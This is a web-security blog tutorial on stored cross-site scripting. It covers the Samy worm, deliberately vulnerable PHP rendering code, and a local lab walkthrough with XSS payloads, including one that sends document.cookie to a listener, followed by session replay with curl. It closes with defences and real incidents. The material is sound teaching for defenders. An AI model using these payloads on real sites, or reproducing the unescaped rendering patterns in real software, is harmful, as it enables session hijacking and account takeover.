TechEarl

Stored XSS: The Variant That Persists and Targets Other Users

Ishan Karunaratne⏱️ 14 min readUpdated
Share thisCopied
Stored XSS attack where injected payload fires when admin views the page

Stored XSS is reflected XSS's bigger sibling. Same parser-confusion bug at the rendering layer, but instead of bouncing off a single request, the payload lands in a server-side store (database row, profile field, comment table, log file) and fires on every subsequent visitor who loads the page that renders it. No phishing-click, no per-victim delivery, no link to disguise. Post once, every viewer is a victim, and that includes the privileged users (admins, moderators, support engineers) who eventually load the page that the unprivileged attacker wrote to. That privilege-escalation chain is what makes stored XSS the high-impact variant in the XSS family.

TL;DR

Stored XSS happens when an application writes attacker-supplied data into a persistent store and later renders that data back to other users without context-appropriate output encoding. The defining property is persistence: the payload survives the request that planted it, sits in the database between sessions, and runs on every subsequent page load that includes it. Because the rendering happens in the viewer's browser with the viewer's session, a regular user can post a payload that fires inside an admin's session the moment the admin loads a dashboard, comment moderation queue, or audit log. That is the chain that pushes stored XSS above reflected XSS on every impact ranking. Defences are output encoding at the rendering boundary (not input filtering), a strict Content-Security-Policy with nonces, an HttpOnly and Secure session cookie, and a vetted HTML sanitiser (DOMPurify) on the narrow paths where user-authored HTML is genuinely required.

What makes XSS "stored"?

The "stored" in stored XSS is about where the payload lives between the attacker's request and the victim's request. In reflected XSS the payload travels in the same HTTP exchange that fires it. In stored XSS the payload is written somewhere persistent (a database row, a log file, a filename, an uploaded JSON blob, a cached fragment) and the trigger is a separate, later request from a different user that renders the stored value.

Two consequences fall out of that shift.

The first is that stored XSS does not need a delivery vector. The attacker posts the payload through whatever normal-looking input the application offers (comment box, profile field, support ticket, product review) and waits. Every legitimate user who loads the rendering page is a victim. Propagation is intrinsic to the app's own rendering path.

The second is that stored XSS compounds with privilege. A regular user can write to a row that an admin later reads through a moderation queue, a support engineer reads through a ticket view, a finance team member reads through a transaction-notes column. The payload runs in the privileged viewer's browser, with their session, against their origin. The unprivileged attacker never authenticates as the admin, never touches the admin's password, and never trips MFA. That admin-victim chain is why stored XSS is rated higher than reflected XSS on every impact ranking I have seen.

The Samy worm (2005) case study

The canonical worked example is the Samy worm. In October 2005, Samy Kamkar posted a JavaScript payload into a "heroes" field on his own MySpace profile. MySpace had a filter that stripped <script> tags and javascript: URLs, but Samy smuggled JS through a CSS expression() and a java\nscript: URL with an embedded newline that the filter did not normalise. When another MySpace user viewed Samy's profile, the payload ran in their browser, added Samy as a friend, copied itself into the viewer's own profile (with the message "but most of all, samy is my hero"), and waited for the next viewer.

The propagation curve was exponential. Within roughly twenty hours the worm had reached around a million MySpace accounts (the often-cited figure is just over one million friend requests), at which point MySpace took the site offline to clean it up.

Two things make Samy the right reference point. The entire chain ran on stored XSS as the only primitive: no separate phishing step, no exploit chain, no privilege bug, just persistence in MySpace's profile database. And MySpace's defence was a blacklist filter on input, which is exactly the wrong defence (a parser-aware allow-list on output is the right one) and which is still the most common mistake I see in code reviews twenty years later.

Realistic vulnerable shapes

Stored XSS does not require a comment system. Any place where user-controlled bytes get written to a store and later rendered as HTML qualifies. Three shapes I find regularly.

A comments table, raw-rendered into a feed:

php
$stmt = $pdo->prepare("INSERT INTO comments (user_id, body) VALUES (?, ?)");
$stmt->execute([$_SESSION['user_id'], $_POST['body']]);

// later, on render:
foreach ($comments as $c) {
    echo "<div class='comment'>{$c['body']}</div>";
}

The insert is parameterised, which the developer reads as "safe". The output step concatenates the stored bytes back into HTML and the browser parses them as HTML. SQL injection is closed; XSS is wide open. Parameterisation and escaping solve different problems.

A user-bio field rendered on the public profile page (echo "<div class='bio'>" . $user['bio'] . "</div>";) is the same shape with a narrower surface; the payload persists until the user edits the bio.

An audit log that renders into an admin dashboard is the one engineers miss most often:

php
// somewhere a user-controlled value gets logged:
$log->info("Failed login for user: " . $_POST['username']);

// later, in admin.php:
foreach ($auditLog as $entry) {
    echo "<tr><td>{$entry['message']}</td></tr>";
}

The attacker submits <img src=x onerror=alert(1)> as a username on the login form, never authenticates, and the failed-login row carries the payload into the admin dashboard. The unprivileged attacker (who never even had an account) gets script execution inside the admin's session.

Lab walkthrough

The reproducer lives in the techearl-labs repo under cross-site-scripting/xss-basic. The lab is a minimal PHP + MySQL app with a deliberately vulnerable guestbook handler and a session cookie set without HttpOnly so the cookie-theft chain works end to end. Start it with docker compose up xss-basic from the root of the labs repo and the app listens on http://localhost:8081.

The stored-XSS path:

  1. Sign in as alice at http://localhost:8081/login.php (password alice123).
  2. Open http://localhost:8081/guestbook.php.
  3. Post a comment whose body is <script>alert(1)</script>.
  4. Reload /guestbook.php. The alert fires in alice's browser as proof the payload was stored and is being rendered raw.
  5. Sign out. Reload the landing page / in a fresh browser session (or a private window). The alert fires again, without any authentication, because the landing page renders the same comment stream.
  6. Sign in as admin (password admin123) and open http://localhost:8081/admin.php. The admin dashboard reads the same comments table for its moderation view. The alert fires inside the admin's session.

The persistence is verifiable independently: a SELECT body FROM comments on the lab's MySQL shows the raw <script> bytes sitting in the row. The application did not encode on output, and the database is happily storing executable HTML as text.

Swap the payload for the cookie-exfil version (<script>new Image().src='http://localhost:9000/c?'+document.cookie</script>) and the same lab demonstrates the full chain: alice posts, admin loads /admin.php, the payload fires in the admin's browser, a listener on port 9000 receives the admin's session_id, and a replayed curl -b 'session_id=...' http://localhost:8081/admin.php renders the admin dashboard from outside. That chain is covered in detail in the XSS cookie-theft article.

The admin-victim chain

Walk the chain explicitly. A regular user (alice) can post a comment. An admin, with broader scopes (moderation, billing access, user impersonation, audit-log review), cannot avoid reading those comments because that is their job. The unprivileged write and the privileged read meet in the application's database. The stored payload is the bridge: it carries attacker code from alice's request into the admin's browser, where it runs with the admin's cookies, the admin's CSRF tokens (readable from the DOM), and the admin's same-origin access to every internal API.

Two production-shaped examples. The first is the long-running family of WordPress comment XSS bugs that fire in wp-admin. Comment moderation requires an admin to read pending comments. Plugins (and, historically, core itself in older versions) have shipped sanitisation gaps where a comment body bypasses the filter and renders raw in /wp-admin/edit-comments.php. The attacker is an anonymous commenter; the victim is whoever clicks "Pending" in the dashboard.

The second is the ticketing-system pattern. A customer submits a ticket through the public widget. The support engineer opens the ticket in the agent UI, where the ticket body is rendered. If that UI renders ticket bodies through a permissive sanitiser (or, worse, raw), the customer can land XSS inside the support engineer's session, which usually has impersonation access, refund authority, and read-everywhere visibility into the support database. Every CRM and ticketing product has had a variant of this bug.

The pattern collapses to one sentence: anywhere unprivileged input meets privileged rendering, stored XSS is a privilege-escalation primitive.

Modern defences

The defence stack is the same as for the XSS family in general; the layers that matter most for stored XSS specifically are output encoding (because the rendering is decoupled in time from the input), CSP (because the payload lives in your database long after any WAF could have inspected it), and an HTML sanitiser on the narrow paths where user-authored HTML is unavoidable.

Encode on output, not on input. This is the single most-violated rule and the one that most reliably prevents stored XSS. Input filtering at the boundary feels safe and produces silently-mangled data for a year before someone notices that every apostrophe in the database is &#39;. Output encoding runs at the rendering step in the context-appropriate encoding (HTML body, HTML attribute, JavaScript string, URL, CSS); the rules are well-defined and the OWASP Cross Site Scripting Prevention Cheat Sheet lists them.

Framework auto-escaping is the default that closed the easy bugs. React, Vue, Angular, Svelte, Twig, Jinja, ERB, Blade, all auto-escape interpolations in their default rendering path. <div>{comment.body}</div> in React renders <script> as literal text. The risk is the escape-hatch APIs (dangerouslySetInnerHTML, v-html, bypassSecurityTrustHtml, {@html}, |safe). Grep for them; every call site that consumes a stored value is a stored-XSS candidate until proven otherwise.

Content-Security-Policy with nonces and 'strict-dynamic'. A strict CSP turns a working stored-XSS exploit into a console warning. The injected <script> tag renders into the DOM, the browser sees a script element without the per-response nonce, and the browser refuses to execute it. Realistic minimum:

code
Content-Security-Policy:
  default-src 'self';
  script-src 'self' 'nonce-r4nd0m' 'strict-dynamic';
  connect-src 'self';
  object-src 'none';
  base-uri 'none';

The connect-src 'self' directive defeats the modern fetch-based exfiltration path, where the XSS payload reads data via the application's own API and POSTs it to an attacker domain. Migrate via Content-Security-Policy-Report-Only first.

HTML sanitiser on the narrow paths that genuinely need HTML. A rich-text editor cannot just encode the body, because the body is HTML by design. Sanitise with DOMPurify, which parses the stored HTML in a sandboxed document and strips every element, attribute, and URL scheme not on its allow-list.

javascript
import DOMPurify from 'dompurify';

element.innerHTML = DOMPurify.sanitize(storedBody, {
    ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li', 'code', 'pre'],
    ALLOWED_ATTR: ['href'],
});

Run the sanitiser at output time, not at input time, for the same reason as encoding: the input store is not the trust boundary.

Contextual encoding matters. The same stored value rendered into an HTML body needs HTML-entity encoding. Rendered into an HTML attribute, it needs HTML-attribute encoding with quoted attributes. Rendered inside a <script> block as a JavaScript string literal, it needs JavaScript-string encoding (not HTML encoding, which leaves ' happily executable). Rendered into a URL parameter, it needs percent-encoding. The contexts have different rules; one encoder is not enough.

HttpOnly and Secure on the session cookie. Not an XSS defence per se, but the defence that breaks the classical stored-XSS-to-session-hijack chain. HttpOnly makes document.cookie invisible to script. Modern exfiltration via authenticated fetch still works (see CSP connect-src above), so HttpOnly is necessary but not sufficient.

Real-world incidents

A short tour of stored XSS in production. Verify the version-specific details against the linked advisory before quoting any of these in a security review.

  • Samy worm, MySpace (October 2005). Stored XSS in profile-page HTML, filter bypass via CSS expression() and a fragmented java\nscript: URL. Roughly a million accounts infected in about twenty hours. The canonical worked example.
  • TweetDeck stored XSS (June 2014). An HTML payload posted in a tweet bypassed the TweetDeck web client's renderer escaping (the bug was in attribute-context HTML handling inside the tweet body, not raw <script> pass-through). Any TweetDeck user who saw the tweet in their timeline executed the script. A self-retweeting payload propagated for hours, racking up tens of thousands of retweets before Twitter pushed a fix and forced a TweetDeck-wide logout.
  • WordPress core comment XSS (CVE-2015-3438, 2015). Stored XSS via a quirk in MySQL's utf8 column truncation: a comment over the byte limit truncated mid-multibyte-character, leaving an unclosed HTML attribute the renderer interpreted as the start of an attacker-controlled tag. Fixed in WordPress 4.1.2, with related fixes through 4.2. The bug class (storage-layer truncation breaking output-layer assumptions) has shown up in several products since.
  • GitLab issue and merge-request XSS (multiple CVEs, ongoing). GitLab's Markdown-with-HTML renderer for issue descriptions, comments, and merge-request descriptions has been a recurring source of stored XSS. Treat any code-collaboration product that renders Markdown with raw-HTML pass-through as a high-priority audit target.

The pattern is consistent: a rendering layer that accepts more HTML than it should, a stored payload that exploits an encoding ambiguity, a victim population (often privileged: moderators, agents, admins) that has to read the stored content to do their job.

Where to go next

The cousin variants are reflected XSS (per-victim delivery, simpler defence) and DOM-based XSS (no server involvement). The cross-site scripting hub pulls all three together with the modern defence stack. For the end-to-end exploitation chain that turns any of the three variants into a session hijack against an admin, see XSS to session cookie theft.

Sources

Authoritative references this article was fact-checked against.

Tagsxssstored-xsspersistent-xssweb-security

Found this useful? Pass it on.

Copied

Ishan Karunaratne

Tech Architect · Software Engineer · AI/DevOps

Tech architect and software engineer with 20+ years building software, Linux systems, and DevOps infrastructure, and lately working AI into the stack. Currently Chief Technology Officer at a healthcare tech startup, which is where most of these field notes come from.

Keep reading

Related posts